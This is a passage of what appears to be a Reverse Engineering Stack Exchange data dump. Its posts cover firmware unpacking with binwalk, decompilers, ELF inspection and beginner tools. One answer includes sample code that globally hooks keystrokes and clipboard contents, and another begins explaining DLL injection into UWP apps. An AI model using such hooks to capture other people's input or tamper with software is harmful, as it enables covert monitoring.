&quot;1.0&quot;&#xA;4831470       0x49B8EE        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4843989       0x49E9D5        HTML document header&#xA;4844681       0x49EC89        XML document, version: &quot;1.0&quot;&#xA;4844799       0x49ECFF        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4877565       0x4A6CFD        HTML document header&#xA;4878242       0x4A6FA2        XML document, version: &quot;1.0&quot;&#xA;4878356       0x4A7014        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4879897       0x4A7619        HTML document header&#xA;4880582       0x4A78C6        XML document, version: &quot;1.0&quot;&#xA;4880696       0x4A7938        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4884821       0x4A8955        HTML document header&#xA;4885514       0x4A8C0A        XML document, version: &quot;1.0&quot;&#xA;4885628       0x4A8C7C        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4888997       0x4A99A5        HTML document header&#xA;4889694       0x4A9C5E        XML document, version: &quot;1.0&quot;&#xA;4889811       0x4A9CD3        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4892621       0x4AA7CD        HTML document header&#xA;4893306       0x4AAA7A        XML document, version: &quot;1.0&quot;&#xA;4893420       0x4AAAEC        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4935349       0x4B4EB5        HTML document header&#xA;4936024       0x4B5158        XML document, version: &quot;1.0&quot;&#xA;4936138       0x4B51CA        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4937833       0x4B5869        HTML document header&#xA;4938514       0x4B5B12        XML document, version: &quot;1.0&quot;&#xA;4938628       0x4B5B84        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4940349       0x4B623D        HTML document header&#xA;4941028       0x4B64E4        XML document, version: &quot;1.0&quot;&#xA;4941142       0x4B6556        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4942829       0x4B6BED        HTML document header&#xA;4943498       0x4B6E8A        XML document, version: &quot;1.0&quot;&#xA;4943612       0x4B6EFC        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4946177       0x4B7901        HTML document header&#xA;4946852       0x4B7BA4        XML document, version: &quot;1.0&quot;&#xA;4946966       0x4B7C16        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4950533       0x4B8A05        HTML document header&#xA;4951239       0x4B8CC7        XML document, version: &quot;1.0&quot;&#xA;4951355       0x4B8D3B        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4978281       0x4BF669        HTML document header&#xA;4978966       0x4BF916        XML document, version: &quot;1.0&quot;&#xA;4979080       0x4BF988        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4981993       0x4C04E9        HTML document header&#xA;4982674       0x4C0792        XML document, version: &quot;1.0&quot;&#xA;4982788       0x4C0804        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;5031144       0x4CC4E8        Copyright string: &quot;Copyright (c) BRECIS Communications&quot;&#xA;5439908       0x5301A4        Base64 standard index table&#xA;5471481       0x537CF9        Unix path: /config_action/flow/classifier/statistics/web&#xA;5477216       0x539360        Unix path: /config/config-action/flow/classifier/statistics/web/help&#xA;5486005       0x53B5B5        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/r17_cor.c,v 1.7 2005/09/28 18:59:56 bostromc Exp $&#xA;5486917       0x53B945        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/r17_dcd.c,v 1.4 2005/04/25 23:13:33 sillettr Exp $&#xA;5488929       0x53C121        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/r21_cor.c,v 1.6 2005/04/25 23:13:33 sillettr Exp $&#xA;5489073       0x53C1B1        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/r2x_cor.c,v 1.7 2005/04/25 23:13:34 sillettr Exp $&#xA;5490821       0x53C885        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/r2x_scm.c,v 1.2 2005/04/25 23:13:34 sillettr Exp $&#xA;5491157       0x53C9D5        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/rcm_rot.c,v 1.2 2003/06/18 00:58:25 cbostrom Exp $&#xA;5494509       0x53D6ED        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/t21_cor.c,v 1.3 2005/04/25 23:13:34 sillettr Exp $&#xA;5497205       0x53E175        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/mdm_fltr.c,v 1.3 2005/04/25 23:13:33 sillettr Exp $&#xA;5499045       0x53E8A5        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/r17_baud.c,v 1.5 2005/09/28 18:59:56 bostromc Exp $&#xA;5541456       0x548E50        HTML document footer&#xA;5541648       0x548F10        HTML document footer&#xA;5549106       0x54AC32        ZyXEL rom-0 configuration block, name: &quot;spt.dat&quot;, compressed size: 30581, uncompressed size: 26729, data offset from start of block: 16&#xA;5550136       0x54B038        HTML document header&#xA;5550144       0x54B040        HTML document footer&#xA;5582796       0x552FCC        HTML document footer&#xA;5586092       0x553CAC        Copyright string: &quot;Copyright (c) 1996-2000 Express Logic Inc. * ThreadX R3900/Green Hills Version G3.0f.3.0b *&quot;&#xA;5586653       0x553EDD        MySQL MISAM index file Version 6&#xA;5586672       0x553EF0        MySQL ISAM compressed data file Version 6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/9665bvpff48sypx/P-2302R-P1C_3.60%28AUG.0%29C0.zip?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14092" LastEditorUserId="14092" LastEditDate="2018-01-12T23:11:46.957" LastActivityDate="2018-01-15T08:45:25.203" Title="Binwalk could not extract the full content" Tags="|binary-analysis|firmware|unpacking|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17188" PostTypeId="2" ParentId="17186" CreationDate="2018-01-12T23:24:58.713" Score="0" Body="&lt;p&gt;If this is for a game and you want to approach this via dynamic analysis, my personal approach is to use &lt;a href=&quot;https://github.com/cheat-engine/cheat-engine/releases&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cheat Engine&lt;/a&gt;, then in the &lt;em&gt;Memory Viewer&lt;/em&gt; window, click &lt;em&gt;Tools&lt;/em&gt; -&gt; &lt;em&gt;Dissect Code&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now go to the prologue of that function you're interested in, then see all the calls that lead to the function (they'll be grouped via multiple lines just above the first instruction of the sub-routine). You can then double-click on any of those calls to go to that particular call's location and start having a field day researching from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure there is either in-built functionality or plug-ins you can use to essentially achieve the same sort of code analysis to find all calls to  thing statically via x64dbg, IDA, etc.&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2018-01-12T23:24:58.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17189" PostTypeId="1" AcceptedAnswerId="17460" CreationDate="2018-01-13T23:11:15.013" Score="1" ViewCount="1368" Body="&lt;p&gt;Let's just assume that our classes.dex file has a class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;com.example.MyClass&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in which there's a method &quot;meth&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public final com.example.MyClass.meth(java.lang.String p0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how/where can I search the code of the method &quot;meth&quot; with the string &quot;com.example.MyClass.meth&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because in the Local Types view I can only find the class but I can't reach the code and in the Names/Functions windows I can only search the method name (think what you can get with an obfuscated code) prefixed by the class name so there are a lot of duplicates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI:&#xA;IDA pro (I'm using the version 7) supports officially &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/tutorials/debugging_dalvik.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dalvik bytecode disassembling and debugging&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18096" LastEditorUserId="18096" LastEditDate="2018-01-14T10:33:13.203" LastActivityDate="2018-02-13T17:48:48.630" Title="IDA Pro Search classes within a Dex file inclusive of package name" Tags="|ida|android|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17190" PostTypeId="2" ParentId="17189" CreationDate="2018-01-14T06:54:50.820" Score="0" Body="&lt;p&gt;You're abusing IDA Pro, it's best in decompiling/disassembling code that has been actually compiled, not Java. While IDA Pro sort of supports Java decompilation (I guess you're interested in Android stuff), there are much more convenient decompilers for Java pseudocode. JEB is the best for Android, in my opinion. I haven't used it much recently, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or even &quot;decompile&quot; the whole dex into a text file via and grep.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.google.com.au/search?q=dex+decompiler&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.google.com.au/search?q=dex+decompiler&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking at pure Java - again, tons of &quot;decompilers&quot;. Even IntelliJ has a plugin :)&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2018-01-14T06:54:50.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17192" PostTypeId="2" ParentId="17127" CreationDate="2018-01-14T18:30:53.037" Score="9" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;I'd like to see details on how to hook and step into the function&#xA;  that processes a button click event in a UWP app.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would suggest using the &lt;strong&gt;EventHook Library&lt;/strong&gt; which is intended to hook global windows user events.This is available as a &lt;a href=&quot;https://www.nuget.org/packages/EventHook&quot; rel=&quot;noreferrer&quot;&gt;Nuget Package&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Project Repo (named as &lt;strong&gt;Windows User Action Hook&lt;/strong&gt;)  is available on Github and my fork can be accessed &lt;a href=&quot;https://github.com/TechLord-Forever/Windows-User-Action-Hook&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. This is for the same Library (EventHook Library) that I mentioned above. You can visit the Github repo  if you want to get hold of the source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://github.com/TechLord-Forever/Windows-User-Action-Hook/blob/develop/README.md&quot; rel=&quot;noreferrer&quot;&gt;Github Project's README page&lt;/a&gt;, just let me excerpt a few details :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Supported Events :&lt;/strong&gt; (These are the events that you can hook &lt;em&gt;globally&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Keyboard Events    &lt;/li&gt;&#xA;  &lt;li&gt;Mouse Events       &lt;/li&gt;&#xA;  &lt;li&gt;Clipboard Events      &lt;/li&gt;&#xA;  &lt;li&gt;Application events    &lt;/li&gt;&#xA;  &lt;li&gt;Print events&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Usage - Install by nuget&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Install-Package EventHook&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SAMPLE CODE:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;KeyboardWatcher.Start();  &#xA;KeyboardWatcher.OnKeyInput += (s, e) =&amp;gt;  &#xA;{  &#xA;    Console.WriteLine(string.Format(&quot;Key {0} event of key {1}&quot;, e.KeyData.EventType, e.KeyData.Keyname));  &#xA;};  &#xA;&#xA;MouseWatcher.Start();  &#xA;MouseWatcher.OnMouseInput += (s, e) =&amp;gt;  &#xA;{  &#xA;    Console.WriteLine(string.Format(&quot;Mouse event {0} at point {1},{2}&quot;, e.Message.ToString(), e.Point.x, e.Point.y));    &#xA;};  &#xA;&#xA;ClipboardWatcher.Start();  &#xA;ClipboardWatcher.OnClipboardModified += (s, e) =&amp;gt;  &#xA;{  &#xA;    Console.WriteLine(string.Format(&quot;Clipboard updated with data '{0}' of format {1}&quot;, e.Data, e.DataFormat.ToString()));  &#xA;};  &#xA;&#xA;ApplicationWatcher.Start();  &#xA;ApplicationWatcher.OnApplicationWindowChange += (s, e) =&amp;gt;  &#xA;{  &#xA;    Console.WriteLine(string.Format(&quot;Application window of '{0}' with the title '{1}' was {2}&quot;, e.ApplicationData.AppName, e.ApplicationData.AppTitle, e.Event));    &#xA;};  &#xA;&#xA;PrintWatcher.Start();  &#xA;PrintWatcher.OnPrintEvent += (s, e) =&amp;gt;  &#xA;{  &#xA;    Console.WriteLine(string.Format(&quot;Printer '{0}' currently printing {1} pages.&quot;, e.EventData.PrinterName, e.EventData.Pages));    &#xA;};  &#xA;&#xA;Console.Read();  &#xA;KeyboardWatcher.Stop();  &#xA;MouseWatcher.Stop();  &#xA;ClipboardWatcher.Stop();  &#xA;&#xA;ApplicationWatcher.Stop();  &#xA;PrintWatcher.Stop();  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sample Output (Screenshot) :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/044uM.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/044uM.png&quot; alt=&quot;https://raw.githubusercontent.com/justcoding121/Windows-User-Action-Hook/stable/EventHook.Examples/EventHook.ConsoleApp.Example/Capture.PNG&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am sure that once you can see how we are able to &lt;em&gt;globally&lt;/em&gt; hook various Windows User Events.&#xA;In your case, using this library, we'd be able to code a tiny C# program for example, which would hook the mouse-press event for the &quot;&lt;strong&gt;Restart Now&lt;/strong&gt;&quot; button and thus allow us to take control of the subsequent events. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this question was about hooking &lt;strong&gt;UWP Apps&lt;/strong&gt;, I would like to give an example where this library was used to &lt;em&gt;specifically&lt;/em&gt; hook UWP apps so that the code from that repo can be used as an example if required. &#xA;Please note that I am not excerpting anything directly from that repo as I only wanted to show that this library works very well with UWP Apps as well.  You can visit my fork of the &lt;a href=&quot;https://github.com/TechLord-Forever/UWPHook&quot; rel=&quot;noreferrer&quot;&gt;Github Repo UWPHook here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18402" LastEditorUserId="18402" LastEditDate="2018-01-14T19:38:03.000" LastActivityDate="2018-01-14T19:38:03.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17194" PostTypeId="2" ParentId="1999" CreationDate="2018-01-14T23:01:28.433" Score="5" Body="&lt;p&gt;A challenge in writing a tool to extract the control flow of python bytecode is that there are so many Python bytecodes versions to choose from, about 25 or so by now (if you include pypy variants).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bytecode in the example graph with its &lt;code&gt;JUMP_IF_FALSE&lt;/code&gt; followed by some &lt;code&gt;POP_TOP&lt;/code&gt;s and &lt;code&gt;PRINT_NEWLINE&lt;/code&gt; instruction, reflect Python before 2.7. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the example in one of the comments from the Flare_bytecode_graph with its &lt;code&gt;POP_TOP_IF_FALSE&lt;/code&gt; is 2.7. Python 3 drops the &lt;code&gt;PRINT_ITEM&lt;/code&gt; instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone writing such a tool will have to come to grips with that; or be happy with living in a single version of Python, for which 2.7 is probably the most popular choice. Or you could ensure that the version of Python you are running matches the bytecode you want to analyze and use the current &lt;em&gt;dis&lt;/em&gt; and &lt;em&gt;opcode&lt;/em&gt; modules that Python provides. But even here those modules change over time, not in the least being the particular bytecode instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a python package called &lt;a href=&quot;https://pypi.python.org/pypi/xdis&quot; rel=&quot;nofollow noreferrer&quot;&gt;xdis&lt;/a&gt; for those who want to work across all versions of Python bytecode, and don't want to be tied with using the same version of Python that the bytecode requires.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next thing that you'll probably want to do in this endeavor is to classify instructions into categories like those which can branch and those that can't and if the branch is conditional or not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Python has some lists that cover some of this, (&quot;hasjrel&quot;, &quot;hasjabs&quot;) but alas it doesn't have the categories that are most useful. And for possibly historical reasons the categories are lists rather than sets. But again xdis to the rescue here; it fills this information in with sets &quot;CONDITION_OPS&quot;, &quot;JUMP_UNCONDITIONAL&quot; and &quot;JUMP_OPS&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this I've written &lt;a href=&quot;https://github.com/rocky/python-control-flow&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/rocky/python-control-flow&lt;/a&gt; which uses xdis and has some rudimentary code that will create a control flow graph and dominator tree for most Python bytecodes. There is some code to create dot files and I use graphviz to display that. I notice that Python, can create a lot of dead code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The intended use of that package is to reconstruct high-level Python control structures. There is some rudimentary control structure detection, although this needs a lot more work. Python control structures are pretty rich when you include the try/while/for &quot;else&quot; clauses, and the &quot;finally&quot; clauses. Even as is, the annotated control flow of the basic blocks very helpful in manually reconstructing structured control flow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When this is finished, I can replace a &lt;em&gt;lot&lt;/em&gt; of the hacky code for doing that in &lt;a href=&quot;https://pypi.python.org/pypi/uncompyle6&quot; rel=&quot;nofollow noreferrer&quot;&gt;uncompyle6&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this leads me to the list of decompilers mentioned in the accepted answer...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As stated, those particular versions of uncompyle and uncompyle2 handle only Python 2.7. As suggested, there are older versions that handle multiple Python versions 1.5 to 2.3 or 2.4 or so. That is if you have a Python 2.3 or 2.4 interpreter to run this on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But none of these projects are actively maintained&lt;/strong&gt;. In uncompyle, there are &lt;a href=&quot;https://github.com/gstarnberger/uncompyle/issues&quot; rel=&quot;nofollow noreferrer&quot;&gt;currently 25 or so issues with the code&lt;/a&gt;, many that I have fixed in uncompyle6. And this is for a version of Python that no longer changes! (To be fair though there are some bugs in uncompyle6 that don't exist in uncompyle2. And to address those, I'd really need to put in place that better control flow analysis) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A number of the bugs in uncompyle could easily be fixed by just doing the same thing that uncompyle6 does, and I think some of that I've noted in the issues. At this point uncompyle2 is much better than uncompyle, and if you are only interested in Python 2.7, that is the most accurate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for pycdc, while it is pretty good for its relatively small size (compared to uncompyle6), it too isn't maintained to the level that it would need to keep up with Python changes. So it is weak around Python 3.4 or so and gets progressively weaker for later versions. Uncompyle6 is like that too, but currently less so. &lt;a href=&quot;https://github.com/zrax/pycdc/issues&quot; rel=&quot;nofollow noreferrer&quot;&gt;pycdc has over 60 issues logged against it&lt;/a&gt; and I doubt those will be addressed anytime soon. Some of them aren't &lt;em&gt;that&lt;/em&gt; difficult to fix. My own (possibly slanted) comparison of those two decompilers is &lt;a href=&quot;https://github.com/rocky/python-uncompyle6/wiki/pycdc-compared-with-uncompyle6&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/rocky/python-uncompyle6/wiki/pycdc-compared-with-uncompyle6&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22048" LastEditorUserId="22048" LastEditDate="2018-11-12T14:37:14.480" LastActivityDate="2018-11-12T14:37:14.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17196" PostTypeId="1" AcceptedAnswerId="17201" CreationDate="2018-01-15T03:27:57.943" Score="1" ViewCount="1622" Body="&lt;p&gt;I have a MIPS .so file that I'm trying to reverse.  Binary Ninja (too cheap for IDA) finds no symbols, and neither does &lt;code&gt;objdump -T&lt;/code&gt;, instead giving &quot;Invalid Operation&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;% mips-linux-gnu-objdump -x libinet.so&#xA;&#xA;libinet.so:     file format elf32-tradbigmips&#xA;libinet.so&#xA;architecture: mips:isa32r2, flags 0x00000140:&#xA;DYNAMIC, D_PAGED&#xA;start address 0x000040f0&#xA;&#xA;Program Header:&#xA;0x70000000 off    0x000000f4 vaddr 0x000000f4 paddr 0x000000f4 align 2**2&#xA;         filesz 0x00000018 memsz 0x00000018 flags r--&#xA;    LOAD off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**16&#xA;         filesz 0x00013454 memsz 0x00013454 flags r-x&#xA;    LOAD off    0x00014000 vaddr 0x00024000 paddr 0x00024000 align 2**16&#xA;         filesz 0x000006c0 memsz 0x00000d6c flags rw-&#xA; DYNAMIC off    0x0000010c vaddr 0x0000010c paddr 0x0000010c align 2**2&#xA;         filesz 0x00000108 memsz 0x00000108 flags rwx&#xA;   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4&#xA;         filesz 0x00000000 memsz 0x00000000 flags rw-&#xA;    NULL off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2&#xA;         filesz 0x00000000 memsz 0x00000000 flags ---&#xA;private flags = 74001007: [abi=O32] [mips32r2] [mips16] [not 32bitmode] [noreorder] [PIC] [CPIC]&#xA;&#xA;Sections:&#xA;Idx Name          Size      VMA       LMA       File off  Algn&#xA;SYMBOL TABLE:&#xA;no symbols&#xA;&#xA;&#xA;% mips-linux-gnu-objdump -T libinet.so&#xA;mips-linux-gnu-objdump: libinet.so: Invalid operation&#xA;libinet.so:     file format elf32-tradbigmips&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone know why this would happen?  Are there any better tools to explore the ELF metadata to see if there's something unusual about this shared object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; Some more results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;% file libinet.so &#xA;libinet.so: ELF 32-bit MSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, corrupted section header size&#xA;% readelf -SW ./libinet.so &#xA;&#xA;There are no sections in this file.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1695" LastEditorUserId="1695" LastEditDate="2018-01-15T04:06:04.163" LastActivityDate="2018-01-15T19:53:56.727" Title="objdump -T gives Invalid Operation on MIPS .so" Tags="|file-format|elf|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17197" PostTypeId="1" CreationDate="2018-01-15T04:20:00.873" Score="-2" ViewCount="1754" Body="&lt;p&gt;As a beginner  i want to ask u some questions.&#xA;Well , i'm not talking about all kinds of programs... i'm just asking for PE ( executables ) for &lt;strong&gt;windows&lt;/strong&gt; -&gt; &lt;strong&gt;(.exe)&lt;/strong&gt; extension&#xA;so , i don't know which tools should i use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what's the difference between :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;IDA - Ollydbg - Immunity_Debugger - x64dbg&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks ^_^ ...&lt;/p&gt;&#xA;" OwnerUserId="22725" LastEditorUserId="12383" LastEditDate="2018-01-16T11:58:41.110" LastActivityDate="2018-01-16T11:58:41.110" Title="Reversing PE - which tools should beginner use?" Tags="|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17198" PostTypeId="2" ParentId="17197" CreationDate="2018-01-15T08:28:26.050" Score="4" Body="&lt;p&gt;I'd suggest you to read &lt;a href=&quot;https://beginners.re/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dennis Yurichev's book &quot;Reverse Engineering for beginners&quot;&lt;/a&gt;. &#xA;The answer to your specific question about tool difference is covered in chapter 7:&#xA;IDA is a disassembler (a tool for static analysis of the code, intended to observe the code), and all the rest are debuggers (tools for dynamic analysis, intended to observe the code's behavior in action).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general there are a lot of different tools depending on what exactly do you want to achieve:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Disassemblers (see answers to &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1817/is-there-any-disassembler-to-rival-ida-pro&quot;&gt;Is there any disassembler to rival IDA Pro?&lt;/a&gt; )&lt;/li&gt;&#xA;&lt;li&gt;Decompilers (Ida Pro has decompiler inside, there is also &lt;a href=&quot;https://retdec.com/home/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://retdec.com/home/&lt;/a&gt; )&lt;/li&gt;&#xA;&lt;li&gt;Debuggers (OllyDbg, x64dbg, etc)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2018-01-15T08:53:45.477" LastActivityDate="2018-01-15T08:53:45.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17199" PostTypeId="2" ParentId="17187" CreationDate="2018-01-15T08:45:25.203" Score="1" Body="&lt;p&gt;If the output of the Binwalk is not explicit enough, it is worth to see the content of the binary with a hex editor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you open the binary file, you will see a lot of zeros and identical bytes at the beginning, which is a clear indication, that at least the first part of the file is neither encrypted nor compressed. If you don't know what these bytes means, just go further in the file and you may find strings, which can clear the situation. In this case, the strings state that the first part of the binary is a bootloader, specifically the MultiBoot Client version 2.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ntZ2m.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ntZ2m.png&quot; alt=&quot;Bootloader strings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find also, that the bootloader uses LZMA compression, such as stated by the Binwalk. Thus, you have a bootloader and two compressed image. By comparing the start of these parts, one can observe that each one contains the &lt;code&gt;SIG&lt;/code&gt; string, the size of the image, name of the image and a CRC value. The compressed image started at the &lt;code&gt;0x30&lt;/code&gt; offset with a typical LZMA header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The decompressed parts have low entropy and contains strings, which means that the extraction was successful. The router OS is an RTOS (according to the strings it is ZynOS) and not Linux, so you won't find any filesystem in the firmware image.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2018-01-15T08:45:25.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17200" PostTypeId="2" ParentId="17127" CreationDate="2018-01-15T14:17:38.993" Score="32" Body="&lt;p&gt;I have thought carefully before adding this as &quot;&lt;em&gt;Another Answer&lt;/em&gt;&quot; rather than editing my existing answer that I posted above this morning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel that this answer deserves another post of its own as it's not just a simple continuation of the material posted in my answer above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have spent over 2 hours on this post to avoid just &lt;em&gt;cutting and pasting&lt;/em&gt; content from other sites.&#xA;What I have focussed on rather, is on the point that I only include content in this post here, such that this answer  would still remain relevant even if the original websites (from where this content is taken from) would ever go down in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am  trying to focus on the essentials that would enable us to hook and modify the code  in  UWP Apps, as asked by the OP.  &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;strong&gt;Hacking and Modding Windows Universal Apps :&lt;/strong&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;DLL-Injection and Function-Hooking, work perfectly fine in UWP-Apps with most, if not all, injection and hooking techniques.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A couple of main differences regarding Function Hooking and Dll Injection, between the UWP apps and the &quot;standard&quot; Win32 apps :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First:&lt;/strong&gt;&lt;br&gt;&#xA;The Window, in which the UWP app renders its content, is not owned by the Apps&#xA;executable.&#xA;Instead “&lt;strong&gt;ApplicationFrameHost&lt;/strong&gt;” does,and so you should not target the Window but rather the process 